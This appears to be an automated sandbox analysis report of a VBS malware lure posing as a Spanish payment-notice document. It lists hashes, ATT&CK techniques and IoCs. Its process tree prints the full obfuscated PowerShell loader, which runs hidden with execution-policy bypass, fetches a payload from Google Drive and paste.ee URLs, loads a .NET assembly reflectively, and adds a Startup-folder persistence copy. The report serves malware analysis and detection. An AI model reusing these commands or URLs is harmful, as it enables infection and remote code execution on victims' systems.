ac6feffb1c2ea23c256c6b1a4a6dd2e1b56e55f7900fa635c656e62738924e7b

General

Target

COPIA_ANEXA_DOCUMENTO_DE_REPORTE_Y_NOTIFICACION_POR_SALDOS_PENDIENTES_DE_PAGO_CONCEPTO_OPERACIONES_M.vbs
Size

68KB
MD5

943b9220d27c71f1f97524ea87db7ebd
SHA1

d57a52c81bcff8ea2f4def7646aa9d4fb3dc9972
SHA256

370e7db7155cd9b03875431462ffc8223dcc4bf7c1dcb5a07420e84bc6316d93
SHA512

a6e66e74af19902ba71154a17f4625690638b57ba2fc419a19040bce1c5c3b81f64049687dd666d0471f6075675ad0c831ebedd8f0cfef1a6de28a65db9bff58
SSDEEP

1536:bUJW4Wrle/PhG+/kery+bGNccc3gt5pzKUGwm:jS7rgt5p3Gwm

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0

exe.dropper

https://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
4	800	WScript.exe
9	800	WScript.exe
35	3296	powershell.exe
37	3296	powershell.exe
40	3296	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2496	powershell.exe
3296	powershell.exe
4036	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.vbs	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
34	drive.google.com
35	drive.google.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3296 set thread context of 5044	3296	powershell.exe	102

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
216	PING.EXE
4680	cmd.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
216	PING.EXE

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	9	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2496	powershell.exe
2496	powershell.exe
4036	powershell.exe
4036	powershell.exe
3296	powershell.exe
3296	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2496	powershell.exe
Token: SeDebugPrivilege	4036	powershell.exe
Token: SeDebugPrivilege	3296	powershell.exe
Token: SeDebugPrivilege	5044	MSBuild.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 800 wrote to memory of 4680	800	WScript.exe	88
PID 800 wrote to memory of 4680	800	WScript.exe	88
PID 4680 wrote to memory of 216	4680	cmd.exe	90
PID 4680 wrote to memory of 216	4680	cmd.exe	90
PID 4680 wrote to memory of 2496	4680	cmd.exe	98
PID 4680 wrote to memory of 2496	4680	cmd.exe	98
PID 800 wrote to memory of 4036	800	WScript.exe	99
PID 800 wrote to memory of 4036	800	WScript.exe	99
PID 4036 wrote to memory of 3296	4036	powershell.exe	101
PID 4036 wrote to memory of 3296	4036	powershell.exe	101
PID 3296 wrote to memory of 5044	3296	powershell.exe	102
PID 3296 wrote to memory of 5044	3296	powershell.exe	102
PID 3296 wrote to memory of 5044	3296	powershell.exe	102
PID 3296 wrote to memory of 5044	3296	powershell.exe	102
PID 3296 wrote to memory of 5044	3296	powershell.exe	102
PID 3296 wrote to memory of 5044	3296	powershell.exe	102
PID 3296 wrote to memory of 5044	3296	powershell.exe	102
PID 3296 wrote to memory of 5044	3296	powershell.exe	102

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\COPIA_ANEXA_DOCUMENTO_DE_REPORTE_Y_NOTIFICACION_POR_SALDOS_PENDIENTES_DE_PAGO_CONCEPTO_OPERACIONES_M.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\COPIA_ANEXA_DOCUMENTO_DE_REPORTE_Y_NOTIFICACION_POR_SALDOS_PENDIENTES_DE_PAGO_CONCEPTO_OPERACIONES_M.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4680
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:216
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\COPIA_ANEXA_DOCUMENTO_DE_REPORTE_Y_NOTIFICACION_POR_SALDOS_PENDIENTES_DE_PAGO_CONCEPTO_OPERACIONES_M.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2496
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJHBTaG9NRVs0XSskUFNob21FWzM0XSsnWCcpKCgnNVFWaW1hZ2VVcmwgPSBNVklodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPTFVeUhxd3JuWENsSycrJ0JKM2o2M0xsMXQyU3RWZ0d4YlN0MCBNVkk7NVFWd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaScrJ2VudDs1UVZpbWFnZUJ5dGVzID0gNVFWd2ViQ2xpZW50LicrJ0Rvd25sb2FkRGF0YSg1UVZpbWFnZVVybCk7NVFWaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoNVFWaW1hZ2VCeXRlJysncyk7NScrJ1FWc3RhcnRGbGFnID0gTVZJPDxCQVNFNjRfU1RBUlQ+Pk0nKydWSTs1UVZlbmRGbGFnID0gTVZJPDxCQVNFNjRfRU5EPj5NVkk7NVFWJysnc3RhcnRJbmRleCA9IDVRVmltYWdlVGV4dC5JbmRleE9mKDVRVnN0YXJ0RmxhZyk7NVFWZW5kSW5kZXggPSA1UVZpbWFnZVRleHQuSW5kZXhPZig1UVZlbmRGJysnbGFnKTs1UVZzdGEnKydydEluZGV4IC1nZSAwIC1hbmQgNVFWZW5kSW5kZXggLWd0IDVRVnN0YXJ0SW5kJysnZXg7NVFWc3RhcnRJbmRleCArPSA1UVZzdGFydEZsYWcuTGVuZ3RoOzVRVmJhc2UnKyc2NCcrJ0xlbmd0aCA9IDVRVicrJ2VuZEluZGV4IC0gNVFWJysnc3RhcnRJbmRleDs1UVZiYXNlNjRDb21tYW5kID0nKycgNVFWaW1hZ2VUZXh0LlN1YnN0cmluZyg1UVZzdGFydEluZGV4LCA1UVZiYXNlNjRMZW5ndGgpOzVRVmJhc2U2NFJldmVyc2VkID0gLScrJ2pvaW4gKDVRVmJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBaYlknKycgRm8nKydyRWFjaC1PYmplY3QgeyA1UVZfIH0pWy0xLi4tKDVRVmJhc2U2NCcrJ0NvbW1hJysnbmQuTGVuZ3RoKV07NScrJ1FWY29tbWFuZEJ5dGVzID0gW1N5c3RlbS4nKydDb252ZXJ0XTo6RnJvbUJhJysnc2U2JysnNFN0cmluZyg1UVZiYXNlNjRSZXZlcnNlZCk7NVFWJysnbCcrJ29hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKDVRVmNvbW1hbmRCeXRlJysncyk7NVFWdmFpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZChNVklWQUlNVkkpOzVRVnZhaU1ldGhvZC4nKydJbnZva2UoNVFWbnVsbCwgQChNJysnVkkwL2F3aVNJLycrJ2QvZWUuZXRzYXAvLzpzcHR0aE1WSSwgTVZJZGUnKydzYXRpdmFkb01WSSwgTVZJZGVzYXRpdmFkb01WSSwgTVZJZGVzYXRpdmFkb01WSSwgTVZJTVNCdWlsZE1WSSwgTVZJZGVzYXRpdmFkb01WSSwgJysnTVZJZGVzYXRpdmFkb01WSSxNVklkZXNhdGl2YWRvTVZJLCcrJ01WSWRlc2F0aScrJ3ZhZG9NVkksTScrJ1ZJZGVzYXRpdmFkb01WSSxNVklkZXNhdGl2YWRvTVZJLE1WSWRlc2F0aXZhZCcrJ29NVkksJysnTVZJMU1WSSxNVklkZXNhdGl2JysnYWRvTVZJKSk7JykucmVwbGFjZSgoW2NIQVJdOTArW2NIQVJdOTgrW2NIQVJdODkpLFtzdFJpTkddW2NIQVJdMTI0KS5yZXBsYWNlKChbY0hBUl03NytbY0hBUl04NitbY0hBUl03MyksW3N0UmlOR11bY0hBUl0zOSkucmVwbGFjZSgnNVFWJyxbc3RSaU5HXVtjSEFSXTM2KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4036
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $pShoME[4]+$PShomE[34]+'X')(('5QVimageUrl = MVIhttps://drive.google.com/uc?export=download&id=1UyHqwrnXClK'+'BJ3j63Ll1t2StVgGxbSt0 MVI;5QVwebClient = New-Object System.Net.WebCli'+'ent;5QVimageBytes = 5QVwebClient.'+'DownloadData(5QVimageUrl);5QVimageText = [System.Text.Encoding]::UTF8.GetString(5QVimageByte'+'s);5'+'QVstartFlag = MVI<<BASE64_START>>M'+'VI;5QVendFlag = MVI<<BASE64_END>>MVI;5QV'+'startIndex = 5QVimageText.IndexOf(5QVstartFlag);5QVendIndex = 5QVimageText.IndexOf(5QVendF'+'lag);5QVsta'+'rtIndex -ge 0 -and 5QVendIndex -gt 5QVstartInd'+'ex;5QVstartIndex += 5QVstartFlag.Length;5QVbase'+'64'+'Length = 5QV'+'endIndex - 5QV'+'startIndex;5QVbase64Command ='+' 5QVimageText.Substring(5QVstartIndex, 5QVbase64Length);5QVbase64Reversed = -'+'join (5QVbase64Command.ToCharArray() ZbY'+' Fo'+'rEach-Object { 5QV_ })[-1..-(5QVbase64'+'Comma'+'nd.Length)];5'+'QVcommandBytes = [System.'+'Convert]::FromBa'+'se6'+'4String(5QVbase64Reversed);5QV'+'l'+'oadedAssembly = [System.Reflection.Assembly]::Load(5QVcommandByte'+'s);5QVvaiMethod = [dnlib.IO.Home].GetMethod(MVIVAIMVI);5QVvaiMethod.'+'Invoke(5QVnull, @(M'+'VI0/awiSI/'+'d/ee.etsap//:sptthMVI, MVIde'+'sativadoMVI, MVIdesativadoMVI, MVIdesativadoMVI, MVIMSBuildMVI, MVIdesativadoMVI, '+'MVIdesativadoMVI,MVIdesativadoMVI,'+'MVIdesati'+'vadoMVI,M'+'VIdesativadoMVI,MVIdesativadoMVI,MVIdesativad'+'oMVI,'+'MVI1MVI,MVIdesativ'+'adoMVI));').replace(([cHAR]90+[cHAR]98+[cHAR]89),[stRiNG][cHAR]124).replace(([cHAR]77+[cHAR]86+[cHAR]73),[stRiNG][cHAR]39).replace('5QV',[stRiNG][cHAR]36) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3296
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5044

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d42b6da621e8df5674e26b799c8e2aa

SHA1
ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

SHA256
5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

SHA512
53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
b837a040698c2e95d4005d130581aa28

SHA1
27b1c1caeac0a59199d904689396f3f5c8f2978a

SHA256
72c0954594e68b6756d4024aa3e45eb46d36d5fcbe03aca12cf4c0c3ed46f166

SHA512
f4d23beaf2785d62732c428a8fce0c24a4c23ac26d4502041d0b55848f8cde2e1f172904bf59bcf451a4d931254282e6760b3b6a1f038202e2c0126f0f8dca19

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4v1leogc.x4l.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2496-13-0x00007FFB2F910000-0x00007FFB303D1000-memory.dmp

Filesize
10.8MB

Download
memory/2496-14-0x00007FFB2F910000-0x00007FFB303D1000-memory.dmp

Filesize
10.8MB

Download
memory/2496-17-0x00007FFB2F910000-0x00007FFB303D1000-memory.dmp

Filesize
10.8MB

Download
memory/2496-1-0x00007FFB2F913000-0x00007FFB2F915000-memory.dmp

Filesize
8KB

Download
memory/2496-12-0x00007FFB2F910000-0x00007FFB303D1000-memory.dmp

Filesize
10.8MB

Download
memory/2496-4-0x0000023B6A400000-0x0000023B6A422000-memory.dmp

Filesize
136KB

Download
memory/3296-38-0x000001F130BF0000-0x000001F130D48000-memory.dmp

Filesize
1.3MB

Download
memory/5044-39-0x0000000000400000-0x000000000041A000-memory.dmp

Filesize
104KB

Download
memory/5044-45-0x0000000006330000-0x000000000633A000-memory.dmp

Filesize
40KB

Download
memory/5044-46-0x00000000063E0000-0x000000000647C000-memory.dmp

Filesize
624KB

Download
memory/5044-47-0x0000000006A30000-0x0000000006FD4000-memory.dmp

Filesize
5.6MB

Download
memory/5044-48-0x00000000064F0000-0x0000000006556000-memory.dmp

Filesize
408KB

Download

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